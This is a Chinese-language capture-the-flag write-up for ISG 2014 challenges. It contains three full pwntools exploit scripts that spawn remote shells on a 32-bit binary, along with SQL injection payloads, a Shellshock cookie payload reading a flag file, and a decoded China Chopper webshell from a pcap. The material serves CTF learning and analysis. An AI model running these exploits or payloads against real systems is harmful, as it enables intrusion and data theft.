這題是 ISG 2014 決賽的 pwnable 題,binary 不大但有多個漏洞。32bit dynamic linked,因此要找漏洞還是 patch 都比較容易。以下 exploit 的順序跟比賽中寫出的順序相同。
Stack Overflow in 31337
隱藏選項 31337 使用位於 0x08048F67 的函式,裡面的 scanf 會造成溢出。先洩漏 libc base 後回 0x08048F67,再溢出一次拿 shell。這份 exploit 用了 pwntools。
#!/usr/bin/env python
from pwn import *
from pwnlib.log import *
target_ip = sys.argv[1]
context(os='linux', arch='i386',log_level=20)
elf = ELF('./pepper')
libc = ELF('./libc.so.6')
r = remote(target_ip, 1111)
r.recvuntil('Your choice: ')
r.send('31337\n')
r.recvuntil('Leave your message: ')
secret = 0x08048F67
buf = 0x0804F6F0
r.send('*'*0x70 + p32(elf.symbols['puts']) + p32(secret) + p32(elf.got['atoi']) + '\n')
r.recvuntil('We got that. Thanks.\n')
libc_base = u32(r.recv()[0:4]) - libc.symbols['atoi']
info('libc_base = %x' % libc_base)
libc.address += libc_base
r.send('*'*0x70 + p32(libc.symbols['gets']) + p32(libc.symbols['system']) + p32(buf) + p32(buf) + ' ')
sleep(0.5)
r.send('sh\n')
r.recvuntil('We got that. Thanks.\n')
r.interactive()
Index of Restaurant is Out of Range
包含了 2 號功能 show 和 5 號功能 edit,都沒有檢查輸入 index 的範圍。使用 show(index=-3) 時 "Rest. address: No. %d" 會洩漏 got.plt 上的 __libc_start_main 位址,可以算出 libc base。
不過以下的 exploit 不需要 show 功能的洩漏。直接使用 edit 功能,在 index=-2 時,"New Score" 會蓋掉 memset 在 got.plt 上的欄位。把它改成 printf 的位址,這樣 3 號 delete 功能裡使用 memset 時會得到一個 format string 漏洞,而且只要重覆 add/delete 便可以無限次的使用。
Format string 漏洞在無法控制 stack 上內容的情況下,是無法做任意讀寫的,因為要讀寫的目標位址在 stack 上找不到。這裡用了三段式 format string,利用的是 stack 上必然會有的 argv
, argv[0]
和 argv[0]
字串本身。這三個值都會在 stack 上,即 format string 使用 %x 或 %n 可以碰觸的範圍。
- 對 &argv 寫,可以控制 argv[0] 的最低位 (+x)。
- 對 &argv[0] 寫入,可以在 argv[0] 處寫入 1 byte,搭配 1. 即可在 stack 上寫入連續的 4 bytes。
- 對 2. 中寫好的 4 bytes (=target) 寫入,即可對目標處寫入 1 byte,重覆 2. 3. 即可達到任意寫入。
要注意的是 2. 中 argv[0]+x 的值必需對齊 4 bytes,否則寫入的 target 沒辦法被 format string 使用。底下的 exploit 先把 __libc_start_main 在 got.plt 上的位址寫在 stack 上,用 %x 洩漏其內容算出 libc base,再寫回 strlen 然後把該欄位改成 system。最後使用 31337 功能,輸入的字串就會被傳入 system。
#!/usr/bin/env python
from pwn import *
from pwnlib.log import *
target_ip = sys.argv[1]
context(os='linux', arch='i386',log_level=20)
r = remote(target_ip, 1111)
elf = ELF('./pepper')
libc = ELF('./libc.so.6')
def fmt(x):
r.recvuntil('Your choice: ')
r.send('4\n')
r.send(x+'\n')
r.send('\n')
r.send('\n')
r.send('\n')
r.send('\n')
r.recvuntil('Your choice: ')
r.send('3\n')
r.send('0\n')
x = r.recvuntil('Successfully delete it.')
l = re.findall('\[\[(.*)\]\]',x)
if len(l)>0:
return l[0]
return None
r.recvuntil('Your choice: ')
r.send('5\n')
r.send('-2\n')
r.send(str(elf.symbols['printf'])+'\n')
r.send('n\n')
info(fmt('[[%14$s]]').encode('hex'))
buf = int(fmt('[[%14$x]]'),16)
addr = int(fmt('[[%63$x]]'),16)
addr = 4*((addr+3)/4)
offset = (addr - buf)/4 + 63
info('buf = %x, addr = %x, offset = %d' % (buf,addr,offset))
strlen_got = elf.got['strlen']
fmt('%%%dc%%14$hhn' % ((addr+1)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>8)&0xff))
fmt('%%%dc%%14$hhn' % ((addr+2)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>16)&0xff))
fmt('%%%dc%%14$hhn' % ((addr+3)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got>>24)&0xff))
fmt('%%%dc%%14$hhn' % ((addr)&0xff))
fmt('%%%dc%%63$hhn' % ((strlen_got+4)&0xff)) # strlen@got.plt + 4 == __libc_start_main@got.plt
libc_base = u32(fmt('[[%%%d$s]]' % offset)[0:4]) - libc.symbols['__libc_start_main']
info('libc_base = %x' % libc_base)
system = libc.symbols['system'] + libc_base
fmt('%%%dc%%63$hhn' % ((strlen_got)&0xff))
fmt('%%%dc%%%d$hhn' % ((system)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+1)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>8)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+2)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>16)&0xff,offset))
fmt('%%%dc%%63$hhn' % ((strlen_got+3)&0xff))
fmt('%%%dc%%%d$hhn' % ((system>>24)&0xff,offset))
r.recvuntil('Your choice: ')
r.send('31337\n')
r.recvuntil('Leave your message: ')
r.send('sh\n')
r.interactive()
Heap Overflow in Edit
第三個 exploit,利用的是 edit 功能裡的 heap overflow,改變 description 時可以重新輸入長度但沒有重新 malloc,因此可以造成溢出。Dr.Mario 隊伍使用 fastbin corrupt 的技巧,猜測目的是改寫 chunk 上的指標使得 malloc 時得到的指標指向 .data 上存放 restaurant 的結構,覆寫結構後再利用。
我們做法的最終目的類似,拿到某個 restaurant 的結構後寫掉存放 description 的指標,再用 edit 達成任意寫入。而我們前半對 heap overflow 的利用方式,是寫掉指向 main_arena 的指標,main_arena 內放的是 heap 的結構,也包括 fastbin。寫掉指向 main_arena 的指標,改到可控內容的位址,便可以偽造 fastbin,使下次 malloc 得到我們想要的位址。在 32 bit 中指向 main_arena 的指標存放在 libc 的前一個 page。
0804c000-08050000 rw-p 00000000 00:00 0
0935e000-0937f000 rw-p 00000000 00:00 0 [heap]
f7595000-f7596000 rw-p 00000000 00:00 0 <- last mmap()
f7596000-f773c000 r-xp 00000000 08:01 786443 /lib32/libc-2.19.so
f773c000-f773e000 r--p 001a5000 08:01 786443 /lib32/libc-2.19.so
f773e000-f773f000 rw-p 001a7000 08:01 786443 /lib32/libc-2.19.so
0xf75956b0: 0x00000000 0xf773e8a0 0xf7740fc0 0x00000000
0xf75956c0: 0xf76defa0 0xf76de9a0 0xf76df8a0 0x00000000
0xf75956d0: 0x00000000 0x00000000 0xf773e420 0x00000000
^^^^^^^^^^ 指向 main_arena
vvvvvvvvvv fastbin[0]
0xf773e420: 0x00000000 0x00000000 0x0935e000 0x00000000
0xf773e430: 0x00000000 0x00000000 0x00000000 0x00000000
0xf773e440: 0x00000000 0x00000000 0x00000000 0x00000000
malloc 大於 128K 的記憶體時,libc 裡的實作改用 mmap,這會使這次 malloc 的位址貼在上次 mmap 前,因此溢出時可以寫到有 main_arena 指標的這個 page 上。該指標 offset = 0x6d8,在這之前有一些變量的值必需保留,否則會出錯。這些變量的值都是跟 libc base 相對的,因此先用 show 洩漏 libc base 後就可以算出這些變量的正確值。
把 fastbin[0] 指向 restaurant[1],這樣下次 malloc 時會得到 restaurant[1]+8,即 description 的位址。另外為了通過 malloc 時的檢查,需預先設好 restaurant[1] 的 description length (對應 chunk size)。
#!/usr/bin/env python3
import sys
import socket
import struct
import telnetlib
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,6)
s.connect((sys.argv[1],1111))
f = s.makefile('rwb')
def utl(key):
while True:
l = f.readline()
if key in l:
return l
def send(data):
f.write(data + b'\n')
f.flush()
def I(a):
return struct.pack('I',a)
def N(a):
return struct.unpack('I',a)[0]
# 利用 __libc_start_main 洩漏 libc base
utl(b'============================\n')
send(b'2')
send(b'-3')
libc = (int(utl(b'Rest. address: No.').split(b' ')[3]) & 0xFFFFFFFF) - 0x19970
print('libc = '+ hex(libc))
# add restaurant[0],貼在 main_arena 指標所在的 page 前
utl(b'============================\n')
send(b'4')
send(b'1')
send(b'1')
send(b'1')
send(b'131063') # 128*1024 - 8 (chunk header) - 1 (malloc 時多 1 byte)
send(b'1')
send(b'1')
# add restaurant[1]
utl(b'============================\n')
send(b'4')
send(b'1')
send(b'1')
send(b'1')
send(b'18') # 偽造 chunk 的 size,需設定正確否則無法通過 malloc 中的檢查
send(b'1')
send(b'1')
# overflow restaurant[0]
utl(b'============================\n')
send(b'5')
send(b'0')
send(b'1')
send(b'y')
send(b'148793')
pre = I(0x0) + I(0x0) + I(0x804B0A0 + 52) # 偽造的 main_arena,第三個 dword 即偽造的 fastbin[0]
head = pre + b'a' * (131064 - len(pre)) # 填充 malloc 得到的 page
send(head + b'b' * 0x1000 + b'\0' * 0x6B4 +
I(libc + 0x1a88a0) + I(libc + 0x1aafc0) + I(0x0) + I(libc + 0x148fa0) +
I(libc + 0x1489a0) + I(libc + 0x1498a0) + I(0x0) * 3 +
I(libc - 0x22000 + 8)) # 偽造的 main_arena 指標,指向 pre 數據的位址
# add restaurant[2],拿出偽造的 fastbin[0] chunk (指向 restaurant[1] 的 description 指標)
utl(b'============================\n')
send(b'4')
send(b'1')
send(b'1')
send(b'1')
send(b'1') # 這個 size 決定會拿出哪個 fastbin
send(b'1')
send(b'1')
# edit restaurant[2],改寫 restaurant[1] description 指標,指向 strlen@got.plt
utl(b'============================\n')
send(b'5')
send(b'2')
send(b'1')
send(b'y')
send(b'5')
send(I(0x804b02c)) #
# edit restaurant[1],改寫 strlen@got.plt,寫成 system
utl(b'============================\n')
send(b'5')
send(b'1')
send(b'1')
send(b'y')
send(b'5')
send(I(libc + 0x3fc40))
# 31337 觸發 strlen(=system)
utl(b'============================\n')
send(b'31337')
send(b'sh')
utl(b'We want your advice on Ye1p please.')
t = telnetlib.Telnet()
t.sock = s
t.interact()
Misc
在第二天的比賽中很多漏洞都被修掉了,其中我們發現 11111010 隊伍在 31337 stack overflow 漏洞的行為很奇怪,跑上面 exploit 的輸出,竟然有類似 *** Error in './pepper': free(): invalid pointer: 0x0804b048 ***
的字樣。但原先 rop chain 要執行的是 puts,因此我們猜測有某些未知原因,使得 plt 或 got.plt 上的位址改變了。另外 overflow 的長度也不同,推測是調大 stack frame 了。
因此我們以 p32(addr) + p32(free) + p32(free)
這樣的 rop chain 來猜測 addr 處的內容,在 free 附近掃描後我們得到了 puts 的位址,再利用 puts 把 binary dump 下來,重新找出 31337 功能的位址,使得二度溢出可以實現,接著用同樣的方法 exploit。不過 11111010 反應非常迅速,幾個 round 後便重新調整某些 offset,這個 exploit 並沒有拿到非常多的分數。
此外在 show 裡還有一個 sprintf 的漏洞,會造成 stack overflow 但有 stack guard 保護。我們可以利用 edit 功能修改 .tls 上的 canary,但由於 edit 功能本身也被 stack guard 保護,如果修改 canary 會導致返回時 stack_chk_failed,因此我們在比賽中沒有成功利用這個漏洞。而賽後 Dr.Mario 表示可以改利用 delete 把 canary 寫成 -1,delete 功能沒有 stack guard,這個 sprintf 漏洞還是可以利用的。
發現 Virtual Host 存在 admin.reallysafesite.org
登入地方存在 Blind Condition Error SQL Injection
也無法使用 UNION bypass 密碼驗證(有對取出的密碼進行其他處理)
使用 admin' and 1=2 union select 1,’admin’,NULL,'xxxx'%23
發現有訊息 leak 出來 (PHP 邏輯處理鬆散所致)
Cookie 看到被設定一組 p=sha1("")
猜想 Cookie 驗證是用 db 取出來資料後進行 sha1 後比對
所以從 Blind SQL Injection 拉出 isg_admin 密碼後在進行 sha1 後即可登入
Flag: ISG{s3cUriTy_iS_n0t_A_sIng1e_p0iNt}
打開發現有 401 驗證,需要登入一組 Gmail 帳號密碼
從自己的 DB grep 一下發現有兩組 match 的密碼,
嘗試登入成功(看時間應該是 Gmail 之前 leak 500 萬帳號密碼那份)
檢視原始檔看到 PHP Source code
解開(eval & 異位取反)後破一下註解提供的 apache md5 $apr1$ 密碼就可以解開最後部分得到 FLAG
Flag: `ISG{tHe_MaGic_pHP_S0UrCE_c0D3}
在 response header 裡,有一些提示。
Connection:Keep-Alive
Content-Length:173
Content-Type:text/html
Date:Mon, 29 Sep 2014 13:58:15 GMT
HintLine1:$upload_dir = "./tmp/";
HintLine2:$rand = mt_rand();
HintLine3:$filename = md5($_FILES["file"]["name"]).sha1($rand);
Keep-Alive:timeout=5, max=100
Server:Apache/2.4.9 (Win32) OpenSSL/0.9.8y PHP/5.3.28
X-Powered-By:PHP/5.3.28
所以上傳的文件會在 http://202.120.7.66:8888/tmp/
下,然後注意到 Server:Apache/2.4.9 (Win32)
Windows 下可以使用 8.3 格式的短檔名拿到檔案,如果上傳檔名是 a
則
md5('a') = 0cc175b9c0f1b6a831c399e269772661
,只要用 tmp/0cc175~1
就可以拿到上傳的檔案,
後半段的 sha1 不重要。
只要拿到檔案就會直接顯示 Flag 了: ISG{u_sUcCEssFuLlY_F1nd_YOuR_sHe11}
這題很好心有給 php 的 source code
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>
首先要想辦法送出 ^_^
在 GET 的參數並且繞過 ereg ('_', $_SERVER['QUERY_STRING'])
這部分用 urlencode 送 ^%5f^
就可以了
另外要想辦法讓 @file_get_contents ($_GET['^_^'])
的結果變成 (●'◡'●)
而且不能用 http, https, ftp, telnet, 本地檔案...等
看了看 php 官網的 manual 之後發現它支援 data-url,就成功繞過了 :P
最後的 url:
http://202.120.7.72:8888/index.php?^%5f^=data:text/plain,(%E2%97%8F%27%E2%97%A1%27%E2%97%8F)
Flag: ISG{_1N2N3N4N5N6B7B8B9B10B_}
Reverse 題。
Binary 對 input 數值做一些計算,計算的方式寫在一個字串裡,由 interpreter 解析後做計算。
重新實作 interpreter,然後因為 input 範圍不大,可以暴力嘗試 256 × 32 種所有組合
找出的字串中,尋找符合 flag 格式的,僅有 ISG{Ppp0oo01i5h_pR3f1x_N0ta7iOn}
一組
Source code: wangrange.c
每週更新服務器提醒了我們應該試試一周內的漏洞
而最近最有名的漏洞就是 ShellShock 了
在 Cookie 中塞入 () { :; }; echo Content-type:text/plain;echo;/bin/cat ../flag.txt
就可以成功獲得 flag
Flag: ISG{HaVE_7o_UpDAT3_mY_SeRVeR_M0RE_oFT3n}
給了 binary 的 tracing,執行到哪個位址、指令和每個暫存器的值。
分析了一下內容,發現是在對某個類似 base64 的字串 decode,
不確定是否為 base64 ,但可以直接從 .text:00401197
處的 edx 拿到解開後的每個字元
import re
f = open('trac4','r')
s = ''
for l in f:
if l[:8] == '00401197':
val = int(re.findall('edx:(.*)',l)[0].split(',')[0],16)
s += chr(val)
print(s)
Flag: ISG{7hI5_1s_4_1nsTruCti0n_tR4c3}
pcap 裡最後一個 POST request,解碼後可以看出它試著讀取檔案 z1=/var/www/html/x.tar.gz
<?
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
?>
因此 result 去掉頭尾的 ->|
, |<-
後,中間的 x.tar.gz 解開即可得到 flag:
ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}
Source code: chopper.py
pcap 的內容包含了一個 blind SQL injection 的流量,解出 blind 出的字串即為 flag。
首先用 tcptrace -xHTTP -f'port=80' sqlmap.pcap > scan
找出所有 HTTP Requests。
接下來找出 blind 用的 requests,並且用 content length 判斷結果。
import re
f = open('scan','r')
idx = -1
num = -1
ans = -1
s = ''
for l in f:
parts = re.findall('GET /message.php.*LIMIT.*\x02(.*)\x02.*\x03(.*) HTTP',l)
if len(parts) > 0:
nidx,num = parts[0]
nidx = int(nidx)
num = int(num)
if idx != -1 and idx != nidx:
s += chr(ans)
idx = nidx
else:
parts = re.findall('Content Length: (.*)',l)
if len(parts) > 0:
ret = int(parts[0])
if ret < 140:
ans = num
print('%d %d %d'%(idx,num,ret))
s += chr(ans)
print(s)
Flag: ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}